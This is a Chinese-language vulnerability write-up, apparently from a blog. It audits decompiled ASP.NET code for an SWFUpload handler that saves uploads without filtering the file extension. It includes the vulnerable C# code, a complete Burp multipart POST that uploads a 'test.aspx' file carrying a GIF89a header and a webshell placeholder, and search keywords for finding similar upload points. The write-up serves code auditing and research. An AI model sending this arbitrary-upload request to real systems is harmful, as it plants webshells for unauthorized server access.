简单分析
在一次机缘巧合的情况下,拿到了一份源码,我们找到了plugln下的SWFUpload,显而易见,这里很有可能是一个文件上传的点。
打开uploadfile.ashx,找到对应的dll和class,拖入dnspy
首先加载该类的时候先进入processRequest
post值传入UploadType=UploadForumFiles
之后可以看到使用了HttpPostedFile来进行文件上传
完整的代码如下
private string UploadForumFiles(HttpPostedFile file)
{
string PkID = (string)Public.sink("PkID", MethodType.Post, 130, 0, DataType.Str);
int FromID = (int)Public.sink("FromID", MethodType.Post, 30, 0, DataType.Int);
string FileNo = (string)Public.sink("FileNo", MethodType.Post, 130, 0, DataType.Str);
string reval = "";
bool flag = file == null || file.ContentLength == 0 || string.IsNullOrEmpty(file.FileName);
string result;
if (flag)
{
result = reval;
}
else
{
string pathBase = string.Concat(new object[]
{
"/LocalFiles/CustomForms/files/FromID_",
FromID,
"/PkID_",
PkID,
"/"
});
new iDisk().FolderCreateUrl(pathBase);
string _FileExtend = new StringUtils().GetFileExtends(file.FileName.ToString()).ToLower();
string _FileName = string.Concat(new string[]
{
PkID,
"_",
FileNo,
".",
_FileExtend
});
string _FileSaveName = pathBase + _FileName;
bool flag2 = iDisk.FileExists(iDisk.MapPath(_FileSaveName));
if (flag2)
{
new iDisk().FileDelete(iDisk.MapPath(_FileSaveName));
}
file.SaveAs(iDisk.MapPath(_FileSaveName));
result = pathBase + _FileName;
}
return result;
接着再次传入的post值为PKID,FromID,FileNo
之后赋值一个路径为”/LocalFiles/CustomForms/files/FromIDFromID/PkID/PkID/“
接着newiDisk().FolderCreateUrl(pathBase); 创建如上所述的路径的文件夹
然后fileExtend获取filename文件后缀名,这里没有进行过滤,而是直接获取
fileName将拼接之前Post的两个参数,拼接成为文件名,如传入的三个参数都为11 ,11 ,11,那么最后得出来的文件名为11_11.asp
之后进行保存,然后return,因此按道理,应该会返回路径
构造Payload
因此我们可以使用Burp来进行盲payload的测试
构造几个post值,没什么问题,前四个参数都是上文代码中所需要的参数我们传入进去,而最后一个参数file则是文件上传中必须的file参数
接下来只需添加一个filename= 和conten-Type即可(这些都是文件上传所必须的格式,至于为什么要选择octet-stream,是因为octet-stream是通用的,当你不知道选择啥type时,可以用它试试)
POST /PlugIn/SWFUpload/UploadFile.ashx HTTP/1.1
Host: xxxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,th;q=0.5
Cookie: site_825356=site=825356&ip=49.80.188.72; ASP.NET_SessionId=p43oxyxboxte352oaf5fufjp
Connection: close
Content-Type: multipart/form-data; boundary=aaa
Content-Length: 396
--aaa
Content-Disposition: form-data; name="UploadType"
UploadForumFiles
--aaa
Content-Disposition: form-data; name="FromID"
22
--aaa
Content-Disposition: form-data; name="FileNo"
22
--aaa
Content-Disposition: form-data; name="PkID"
22
--aaa
Content-Disposition: form-data; name="file";filename="test.aspx"
Content-Type: application/octet-stream
GIF89a
Webshell
--aaa--
搜索上传点的关键词
httpPostedFile.Save
Directory.CreateDirectory